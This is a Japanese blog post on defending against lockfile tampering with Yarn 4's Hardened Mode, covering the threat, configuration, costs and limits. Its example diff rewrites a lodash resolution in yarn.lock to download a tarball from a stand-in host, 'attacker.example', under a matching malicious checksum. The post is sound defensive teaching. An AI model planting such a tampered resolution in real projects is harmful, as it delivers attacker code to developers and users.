はじめに
供給チェーン防御シリーズでは、Dependabot cooldownとnpmMinimalAgeGateで新しい悪意あるバージョンの流入を防ぐ方法を解説しました。しかしcooldownが防げない攻撃対象領域が1つあります — lockfile自体が改ざんされる場合です。
この記事では、そのリスクとYarn 4のHardened Modeがそれをどのようにブロックするかを整理します。
どんなリスクがあるか: lockfileの改ざん
yarn.lockやpackage-lock.jsonは依存関係の正確なバージョン・ハッシュ・resolution(ダウンロードパス)を記録します。通常これは「再現可能なビルド」のためのツールとして認識されていますが、供給チェーンセキュリティの観点からは攻撃対象領域でもあります。
攻撃者がlockfileにアクセスして次のような変更を加えられるとしたら:
"[email protected]":
version: 4.17.21
- resolution: "lodash@npm:4.17.21"
+ resolution: "lodash@https://attacker.example/lodash-4.17.21.tgz"
- checksum: <正常なハッシュ>
+ checksum: <悪意あるtarballのハッシュ>
インストール時にYarnはlockfileに記録されたURLからtarball(パッケージのソースコードとメタデータを圧縮した.tgzファイル — npmパッケージはこの形式で配布されます)を取得し、記録されたハッシュと一致するかを確認するだけです。つまり、lockfileを改ざんするだけでnpmレジストリを経由せずに任意のコードをユーザーのマシンに流し込むことができます。
この攻撃が成立しうるシナリオは次のとおりです。
- 悪意あるPR: 外部contributorがPRでlockfileをわずかに変更し、合法的な依存関係のアップグレードに偽装。レビュアーがlockfileの数千行の中から1行のURL変更を見落とす場合。
- 開発者PCの侵害: 開発者のPCが1台侵害され、lockfileに悪意あるresolutionが注入された状態でコミットされる場合。
- CIステージの侵害: CIキャッシュやビルドステップが侵害され、ビルド直前にlockfileが差し替えられる場合。
こうした攻撃はcooldownでは防げません。cooldownは「新規公開されたnpmバージョンを数日待つ」という時間ベースのフィルターであり、lockfileの内容自体が正直かどうかは検証しないからです。
Hardened Modeがブロックする仕組み
Yarn 4のHardened Modeは、yarn installのたびに以下を強制的に検証します。
- Resolution検証: lockfileに記載されたすべてのパッケージのresolutionが、公式npmレジストリに実際に存在する同一バージョンと一致しているか?
- メタデータの一貫性: パッケージ名・バージョン・依存関係ツリーがレジストリの応答するメタデータと一致しているか?
- 完全性ハッシュ: ダウンロードされたtarballのハッシュがlockfileのchecksumと一致しているか?
上記の改ざん例(resolutionを攻撃者のURLに書き換えた場合)は、最初の検証で即座に失敗します。公式npmレジストリの[email protected]のresolutionとlockfileのresolutionが異なるからです。
デフォルトでHardened ModeはCI環境(CI=true)で自動的に有効化されます。しかしローカル開発環境ではデフォルトで無効になっているため、開発者のPCでlockfileが改ざんされた状態でコミットされるシナリオは検出できません。そのため.yarnrc.ymlに明示的に有効化することが安全です。
実際の事例で見る適用効果
こうした攻撃は実際に発生するのでしょうか? 2つの事例を挙げます。
1. Liran Talの「lockfile injection」研究
SnykのLiran Talは2022年のLockfile Injection研究で、package-lock.json/yarn.lockがコードレビューの死角になるパターンを分析しました。核心的な観察は次のとおりです。
開発者たちはlockfileの変更を自動生成された結果として扱い、詳しく確認しない。しかしlockfileは「どこからtarballを取得するか」まで記録するため、1行変えるだけで依存関係全体の出所を変えることができる。
Hardened Modeはこの死角を検証ステージで埋めます。lockfileに記載されたresolutionが公式レジストリのものと一致しなければ、インストールが拒否されます。
2. Yarn自身の導入動機
YarnチームがHardened Modeを導入したRFCで直接述べた動機は次のとおりです。
CIで
yarn installを実行する際、私たちはlockfileが正直であると仮定している。しかしlockfileはPRを通じて変更可能なテキストファイルだ。その仮定を検証しなければ、合法的なPRに偽装した供給チェーン攻撃を防ぐことができない。
つまりHardened Modeは仮定的な脅威ではなく、パッケージマネージャーの開発者自身が実在すると判断した脅威を防ぐための仕組みです。
どのように適用するか
.yarnrc.ymlに1行追加します。
# .yarnrc.yml
enableHardenedMode: true
npmMinimalAgeGate: 7d # cooldown — すでに適用済みであればそのまま
設定が正しく適用されているかは次のコマンドで確認できます。
yarn config get enableHardenedMode
# true
CIではCI=trueが設定された環境であれば別途作業なく自動有効化されますが、ローカル環境でも同じように動作するよう明示しておくことをお勧めします。
副作用
Hardened Modeを有効にするとインストールが若干遅くなります。パッケージごとにレジストリのメタデータ照会が追加で発生するためです。一般的なモノレポでも体感できる程度ですが、セキュリティ上の利点と比べれば十分許容できる範囲です。具体的な影響はプロジェクトの依存関係の数に比例します。
限界
Hardened Modeは万能ではありません。次のケースでは無力です。
- npmレジストリ自体が侵害された場合: 公式レジストリが改ざんされたメタデータを返すと、lockfileとの比較は一致しますが実際は悪意あるものです。このシナリオはnpm運営側でのインシデントになります。
- 攻撃者がlockfileと合わせて正規パッケージを新たに公開した場合: 攻撃者が自分の名義でパッケージをnpmにpublishして、lockfileのresolutionと一致するようにできれば無力です。この場合はcooldownが別の層で防いでくれます。
- すでに依存ツリーに入っている正規パッケージの新バージョンが悪意ある場合: 新規公開自体は正規の手順なのでHardened Modeでは検出できません。これはcooldownの領域です。
そのためHardened Modeはcooldownと互いに異なる攻撃対象領域を防ぐ一対として運用する必要があります。cooldownは新規公開の段階を、Hardened ModeはlockfileのIntegrityをそれぞれ担います。
まとめ
Hardened Modeは.yarnrc.ymlの1行で導入できる最も軽量な供給チェーン防御の1つですが、lockfileという — 普段のレビューではほとんど無視される — 死角を検証してくれるという点でROIが高いです。特に外部contributorのPRを受け付けるオープンソースプロジェクト、またはモノレポでlockfileの差分が数千行に及ぶ環境では事実上必須です。
供給チェーン攻撃防御シリーズで解説したSHAピン固定・cooldown・npmMinimalAgeGateと合わせて運用すれば、新規公開段階とインストール段階の両方で多層防御が実現します。
参考資料
- Yarn
enableHardenedMode公式ドキュメント - Yarn Hardened Mode RFC
- Why npm lockfiles can be a security blindspot — Snyk
私のブログが役に立ちましたか?下にコメントを残してください。それは私にとって大きな大きな力になります!
アプリ広報
Dekuが開発したアプリを使ってみてください。Dekuが開発したアプリはFlutterで開発されています。興味がある方はアプリをダウンロードしてアプリを使ってくれると本当に助かります。